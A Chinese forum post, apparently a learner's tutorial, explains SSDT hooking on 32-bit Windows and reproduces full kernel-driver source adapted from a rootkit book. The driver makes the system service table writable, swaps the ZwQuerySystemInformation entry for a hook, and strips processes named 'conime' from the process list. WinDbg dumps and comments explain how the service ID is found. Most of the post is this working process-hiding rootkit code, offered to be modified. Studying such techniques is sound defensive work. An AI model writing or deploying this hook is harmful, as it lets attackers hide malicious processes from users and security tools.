- 注册时间
- 2011-3-10
- 最后登录
- 1970-1-1
该用户从未签到
|
刚学HOOK的来看看吧,希望有帮助。
首先推荐的一文章是 随落天才的hook inline对抗r0hook一文,里面对ssdt说得比较明白
还有参照rootkits-安全防护第四章。
然后百度extern [__declspec(dllimport) ] #pragma pack(1) 函数指针。等。
这里的原理是,得到ssdt表,然后根据ID号查找ssdt表里的所在的数值,这个数值是指向直正函数的地址,HOOK SSDT是替换这个数值,从而使得当调用zwquerysysteminformation这个API函数时,从ssdt查找到的地址,其实是指向新函数的地址,从而可以过滤。。。。
zwquerysysteminformation的hook原理,请参照安全防护的那个图,及百度他的用法说明。
还有interlockedexchange只改变第一个参数的值。
下面的是第四章的源码,改之。
PS:这个进程时间有用否?- #include <ntddk.h>
- //define struct dd !KeServiceDescriptorTable
- typedef struct _SERVICE_DESCRIPTOR_TABLE {
- PULONG ServiceTableBase;
- PULONG ServiceCounterTableBase;
- ULONG NumberOfService;
- PULONG ParamTableBase;
- } SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
- extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
- /**********************************************************************************/
- struct _SYSTEM_THREADS
- {
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER CreateTime;
- ULONG WaitTime;
- PVOID StartAddress;
- CLIENT_ID ClientIs;
- KPRIORITY Priority;
- KPRIORITY BasePriority;
- ULONG ContextSwitchCount;
- ULONG ThreadState;
- KWAIT_REASON WaitReason;
- };
- struct _SYSTEM_PROCESSES
- {
- ULONG NextEntryDelta;
- ULONG ThreadCount;
- ULONG Reserved[6];
- LARGE_INTEGER CreateTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER KernelTime;
- UNICODE_STRING ProcessName;
- KPRIORITY BasePriority;
- ULONG ProcessId;
- ULONG InheritedFromProcessId;
- ULONG HandleCount;
- ULONG Reserved2[2];
- VM_COUNTERS VmCounters;
- IO_COUNTERS IoCounters; //windows 2000 only
- struct _SYSTEM_THREADS Threads[1];
- };
- // Added by Creative of rootkit.com
- /*struct _SYSTEM_PROCESSOR_TIMES
- {
- LARGE_INTEGER IdleTime;
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER DpcTime;
- LARGE_INTEGER InterruptTime;
- ULONG InterruptCount;
- };*/
- /**********************************************************************************/
- /**********************************************************************************/
- ///////////////////////////////////////////////////////////////////////////////////////////
- NTSYSAPI
- NTSTATUS
- NTAPI ZwQuerySystemInformation(
- IN ULONG SystemInformationClass,
- IN PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength);
- //define function point for [ZWQUERYSYSTEMINFORMATION]
- typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
- ULONG SystemInformationCLass,
- PVOID SystemInformation,
- ULONG SystemInformationLength,
- PULONG ReturnLength
- );
- //define function point var
- ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
- ///////////////////////////////////////////////////////////////////////////////////////////
- /**********************************************************************************/
- /**********************************************************************************/
- PMDL pMdlSsdt;
- PVOID *ppMapSystemCallTable;
- /**********************************************************************************/
- VOID HookUnload(IN PDRIVER_OBJECT pDriverObject);
- VOID TestPrintf();
- //Hook Function define
- NTSTATUS HookZwQuerySystemInformation(
- IN ULONG SystemInformationClass,
- IN PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength);
- /**********************************************************************************/
- NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pUserviceRegPath)
- {
- pDriverObject->DriverUnload=HookUnload;
- /**********************************************************************************/
- // Map the memory into our domain so we can change the permissions on the MDL
- pMdlSsdt = MmCreateMdl(NULL, KeServiceDescriptorTable->ServiceTableBase, KeServiceDescriptorTable->NumberOfService*4);
- if(!pMdlSsdt)
- {
- return STATUS_UNSUCCESSFUL;
- }
- MmBuildMdlForNonPagedPool(pMdlSsdt);
- // Change the flags of the MDL
- pMdlSsdt->MdlFlags = pMdlSsdt->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
- ppMapSystemCallTable = MmMapLockedPages(pMdlSsdt, KernelMode);
- // MmMapLockedPages地址返回的是同ssdt的地址相同
- /**********************************************************************************/
- // TestPrintf();
- /*
- c=InterlockedExchange(&a,b)
- 把a与b的值交换,并返回a之前的值
- OldZwQuerySystemInformation是原来函数的值,但现在ZwQuerySystemInformation这个
- 函数在ssdt表里的地址已变成HookZwQuerySystemInformation的地址
- */
- OldZwQuerySystemInformation = (PVOID) InterlockedExchange( (PLONG) &ppMapSystemCallTable[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)], (LONG) HookZwQuerySystemInformation);
- return STATUS_SUCCESS;
- }
- VOID HookUnload(IN PDRIVER_OBJECT pDriverObject)
- {
- KdPrint(("HookUnload\n"));
- InterlockedExchange( (PLONG) &ppMapSystemCallTable[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)], (LONG)OldZwQuerySystemInformation);
- // Unlock and Free MDL
- if(pMdlSsdt)
- {
- MmUnmapLockedPages(ppMapSystemCallTable, pMdlSsdt);
- IoFreeMdl(pMdlSsdt);
- }
- }
- /**********************************************************************************/
- NTSTATUS HookZwQuerySystemInformation(
- IN ULONG SystemInformationClass,
- IN PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength)
- {
-
- NTSTATUS ntStatus;
-
- ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
- SystemInformationClass,
- SystemInformation,
- SystemInformationLength,
- ReturnLength );
-
- if( NT_SUCCESS(ntStatus))
- {
- // Asking for a file and directory listing
- if(SystemInformationClass == 5)
- {
- // This is a query for the process list.
- // Look for process names that start with
- // '_root_' and filter them out.
- struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
- struct _SYSTEM_PROCESSES *prev = NULL;
-
- while(curr)
- {
- //DbgPrint("Current item is %x\n", curr);
- if (curr->ProcessName.Buffer != NULL)
- {
- if(0 == memcmp(curr->ProcessName.Buffer, L"conime", 12))
- {
- if(prev) // Middle or Last entry
- {
- if(curr->NextEntryDelta)
- prev->NextEntryDelta += curr->NextEntryDelta;
- else // we are last, so make prev the end
- prev->NextEntryDelta = 0;
- }
- else
- {
- if(curr->NextEntryDelta)
- {
- // we are first in the list, so move it forward
- (char *)SystemInformation += curr->NextEntryDelta;
- }
- else // we are the only process!
- SystemInformation = NULL;
- }
- }
- }
- prev = curr;
- if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
- else curr = NULL;
- }
- }
-
- }
- return ntStatus;
- }
- /**********************************************************************************/
- VOID TestPrintf()
- {
- ULONG FunAddress,pFunAddress;
- FunAddress=*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
- KdPrint(("%08x\n",FunAddress));//FunAddress=ADh
- pFunAddress=KeServiceDescriptorTable->ServiceTableBase[FunAddress];
- KdPrint(("%08x\n",pFunAddress));//pFunAddress=8057e786
- /*
- KeServiceDescriptorTable->ServiceTableBase[FunAddress]
- 这个表示KeServiceDescriptorTable中的ID为ADh里的数据,这个数据就是ZwQuerySystemInformation用sysenter指令后
- 在内核里的NtQuerySystemInformation函数的地址。
- lkd> u 8057e786
- nt!NtQuerySystemInformation:
- 8057e786 6810020000 push 210h
- 8057e78b 6830ab4e80 push offset nt!ExTraceAllTables+0x1eb (804eab30)
- 8057e790 e8a64cf6ff call nt!_SEH_prolog (804e343b)
- 8057e795 33c0 xor eax,eax
- 8057e797 8945e4 mov dword ptr [ebp-1Ch],eax
- 8057e79a 8945dc mov dword ptr [ebp-24h],eax
- 8057e79d 8945fc mov dword ptr [ebp-4],eax
- 8057e7a0 64a124010000 mov eax,dword ptr fs:[00000124h]
- KeServiceDescriptorTable
- 是一张表,他的起始地址是->ServiceTableBase 804e36a8这里,
- 8055a680 804e36a8 00000000 0000011c 80513eb8
- 服务函数0000011c个。
- 804e36a8这个地址开始的就是服务函数的地址
- lkd> dd 804e36a8
- 804e36a8 80580302 80579b8c 8058b7ae 805907e4
- 804e36b8 805905fe 806377a0 80639931 8063997a
- 804e36c8 8057560b 806481cf 80636f5f 8058fb85
- 804e36d8 8062f0a4 8057be31 8058cc26 806261bd
- 804e36e8 805dcf20 80568f9d 805d9ac1 ffaf38a0
- 804e36f8 804e3cb4 806481bb 805ca22c 804f0e28
- 804e3708 80569649 80567d49 8058fff3 8064e1c1
- 804e3718 8058f8f5 80581225 8064e42f 8058b800
- 上面这些都是函数地址
- 80580302 80579b8c 8058b7ae 805907e4
- 序号为1 2 3 4
- 这里可以说是一个DWORD数组
- 所以序号为ADh的话,就直接用KeServiceDescriptorTable->ServiceTableBase[0xad]得到函数地址
- */
- // pFunAddress=(PULONG)ZwQuerySystemInformation;
- // KdPrint(("%08x\n",pFunAddress));//804de440 函数名是一个地址,是这个函数的起始地址
- /*
- ////////////////////////////////////////////////////////////////////////////////////////
- pp=(PULONG)MessageBox;//function address = 77D5058A user32.MessageBoxA
- 0040B548 mov eax,[__imp__MessageBoxA@16 (00424290)] //eax=77D5058A
- 0040B54D mov dword ptr [ebp-10h],eax
- mov eax,MessageBox ;函数名就是一个地址。call 地址
- //
- add eax,2 ;地址加2 jmp+地址 =2+4 =6字节
- mov eax,[eax] ;jmp 的地址
- mov eax,[eax] ;地址的地址
- //
- mov eax,DWORD PTR [MessageBox+2]
- mov eax,DWORD PTR [eax]
- ////////////////////////////////////////////////////////////////////////////////////////
- 调用ZwQuerySystemInformation时进入sysenter的ID是0ADh,系统经查KeServiceDescriptorTable,
- 从而得到NtQuerySystemInformation函数的地址
- NtQuerySystemInformation这个就是要HOOK的函数
- 0ADh*4+KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e36a8)=804e395c
- lkd> dd !KeServiceDescriptorTable
- 8055a680 804e36a8 00000000 0000011c 80513eb8
- 8055a690 00000000 00000000 00000000 00000000
- 8055a6a0 00000000 00000000 00000000 00000000
- 8055a6b0 00000000 00000000 00000000 00000000
- 8055a6c0 00002730 bf80c25d 00000000 00000000
- 8055a6d0 f971aa80 f8ff99e0 812a70f0 812a7a90
- 8055a6e0 00000000 00000000 00000000 00000000
- 8055a6f0 b5685a40 01ca8e60 00000000 00000000
- 0ADh*4+KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e36a8)=804e395c
- lkd> dd 804e395c
- 804e395c 8057e786 80590ad0 80591857 805871f3
- 804e396c 8056c103 8056d338 80570e3b 8059068f
- 804e397c 804e303a 806477af 805710d8 805dae6c
- 804e398c 8058f6a6 8057b545 8057dbee 80566809
- 804e399c 8058b492 80567272 8065a3d6 8064e029
- 804e39ac 8064e51e 8057f307 8056ae96 8056a9ae
- 804e39bc 80622b92 8062b803 8058aa2c 80576f2a
- 804e39cc 8062b5fc 8059d753 8053c14a 8064d042
- lkd> u 8057e786
- nt!NtQuerySystemInformation:
- 8057e786 6810020000 push 210h
- 8057e78b 6830ab4e80 push offset nt!ExTraceAllTables+0x1eb (804eab30)
- 8057e790 e8a64cf6ff call nt!_SEH_prolog (804e343b)
- 8057e795 33c0 xor eax,eax
- 8057e797 8945e4 mov dword ptr [ebp-1Ch],eax
- 8057e79a 8945dc mov dword ptr [ebp-24h],eax
- 8057e79d 8945fc mov dword ptr [ebp-4],eax
- 8057e7a0 64a124010000 mov eax,dword ptr fs:[00000124h]
- lkd> u ZwQuerySystemInformation
- nt!ZwQuerySystemInformation:
- 804de440 b8ad000000 mov eax,0ADh
- 804de445 8d542404 lea edx,[esp+4]
- 804de449 9c pushfd
- 804de44a 6a08 push 8
- 804de44c e8e0110000 call nt!KiSystemService (804df631)
- 804de451 c21000 ret 10h
- nt!ZwQuerySystemTime:
- 804de454 b8ae000000 mov eax,0AEh
- 804de459 8d542404 lea edx,[esp+4]
- 这里我们要得到的是那个进入sysenter的id,因为函数名表示的地址是指这个地址804de440
- 要得到0ADh这个ID号
- 因为b8ad000000 mov eax,0ADh这条指令中mov的机器码是b8占一个字节,
- ad000000这个占四个字节的就是这个ID。[数据存放的方式是低位放在低位,高位放在高位,
- 所以000000ad在内存中的存放是ad000000]
- (PUCHAR)ZwQuerySystemInformation这个是把8055a680这个地址转为PUCHAR类型指针
- ((PUCHAR)ZwQuerySystemInformation+1)PUCHAR指针+1,移动的是一个这个类型的大小单位[这里移动一个字节,比如
- PULONG+1那么这里将会移动四个字节。]所以这时地址在8055a681的地址,其实移动的那个字节就是mov的机器码,下面四个
- 就是这个ID号
- *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);再把从8055a681开始的指针转为PULONG型地址,四位刚好是那个ID号
- */
- }
复制代码 |
|